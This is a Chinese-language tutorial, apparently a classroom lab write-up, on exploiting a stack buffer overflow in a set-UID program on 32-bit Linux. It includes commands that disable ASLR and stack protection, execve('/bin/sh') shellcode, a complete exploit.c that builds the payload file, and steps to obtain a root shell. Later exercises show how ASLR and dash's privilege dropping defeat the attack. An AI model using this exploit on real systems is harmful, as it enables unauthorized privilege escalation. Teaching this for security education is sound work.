緩衝區溢位攻擊 - tw511教學網

首先為了方便觀察組合語句，需要在32位元環境下進行操作，首先在Kali中安裝相關編譯應用：

輸入命令linux32進入32位元linux環境，輸入/bin/bash使用bash，使用exit退出linux32位元環境

ubuntu和其他一些linux系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測準確的記憶體地址變得十分困難，而猜測記憶體地址是緩衝區溢位攻擊的關鍵，所以在本次實驗中，我們使用以下命令來關閉這一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，為了進一步防範緩衝區溢位攻擊以及其他利用shell程式的攻擊，許多shell程式在被呼叫的時候自動放棄它們的特權，因此，即使能欺騙一個set-UID程式呼叫一個Shell，也不能在這個shell中保持root許可權，這個防護措施在/bin/bash中實現。
linux系統中，/bin/sh實際是指向/bin/bash或者/bin/dash的一個符號連線，為了重現這一防護措施被實現之前的情形，我們使用另一個shell程式zsh來代替/bin/bash：
（需要root許可權）

cd /bin
rm sh
ln -s zsh sh 
exit

一般情況下，緩衝區溢位會早成程式崩潰，在程式中，溢位的覆蓋了返回地址，而如果覆蓋返回的資料是另一個地址，那麼程式就會跳轉到該地址，如果該地址存放的是一段精心設計的程式碼用於其他功能，這段程式碼就是shellcode。
我們設計如下的shellcode：

#include <stdio.h>
int main(){
	char *name[2];
	name[0] = 「/bin/sh」;
	name[1] = NULL;
	execve(name[0], name, NULL);
}

此shellcode的組合指令如下：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

假設存在緩衝區溢位的程式為stack，將以下程式碼儲存為「stack.c」檔案，儲存到/tmp目錄下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str) {
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv) {
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通過程式碼可以知道，程式會讀取一個名為「badfile」的檔案，並將檔案內容裝入「buffer」
編譯該程式，並設定SET-UID，命令如下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c 
chmod u+s stack

gcc編譯器有一種棧保護機制來阻止緩衝區溢位，所以我們在編譯程式碼的時候需要使用-fno-stack-protector來關閉這種機制。而-z execstack用於允許執行棧。

由於我們的目標是攻擊剛才的漏洞程式，並通過攻擊獲得root許可權，所以構造如下payload：
將以下程式碼儲存為」exploit.c」檔案，儲存在/tmp下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
char shellcode[]=
"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;
void main(int argc, char **argv) {
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

在上面的程式碼中，「\x??\x??\x??\x??」處需要添上shellcode儲存在記憶體中的地址，因為發生溢位後這個位置剛好可以覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode儲存在 buffer+100 的位置。
現在我們要得到shellcode在記憶體中的地址，輸入命令：

gdb stack
disass main

結果如圖：

接下來的操作：
先用breakpoint語句b main 設定main函數地址的斷點，使main函數的資料地址存在暫存器中，然後用 i r $esp 讀取暫存器。

得到buffer為0xffe07dc0，
根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffe07dc0(十六進位制)+100(十進位制)=0xffe07e24(十六進位制)
現在修改exploit.c檔案！將 \x??\x??\x??\x?? 修改為 \x24\x7e\xe0\xff

接下來先退出再編譯 exploit.c
gcc -m32 -o exploit exploit.c

現在開始進行攻擊：
先執行程式expolit，再執行漏洞程式stack，觀察結果：、

可見，通過攻擊，獲得了root許可權！

練習二：
通過命令」sudo sysctl -w kernel.randomize_va_space=2「開啟系統的地址空間隨機化機制，重複用exploit程式攻擊stack程式，觀察能否攻擊成功，能否獲得root許可權。

攻擊失敗，沒有root許可權。我想因為是由於地址空間隨機化被開啟，導致之前計算的地址與實際的地址出現了不同，從而不能完成攻擊。

練習三：
將/bin/sh重新指向/bin/bash（或/bin/dash），觀察能否攻擊成功，能否獲得root許可權。

攻擊失敗，沒有獲得root許可權。使用的bash程式，當shell執行時，沒有root許可權，此時，即便攻擊程式攻擊了漏洞程式，也無法獲得root許可權。

在實驗階段中，地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測準確的記憶體地址變得十分困難。因此需要關閉地址的隨機化，固定地址，從而使得地址的猜測變得更加簡單。攻擊程式寫一個badfile檔案，將其中的一部分位元組替換為之前計算好的位元組，當漏洞程式讀取badfile檔案時，由於沒有限制輸入的長度，導致返回值被之前替換的位元組覆蓋，當程式返回時，跳轉到了預先指定的地址，獲得了root許可權，完成了攻擊。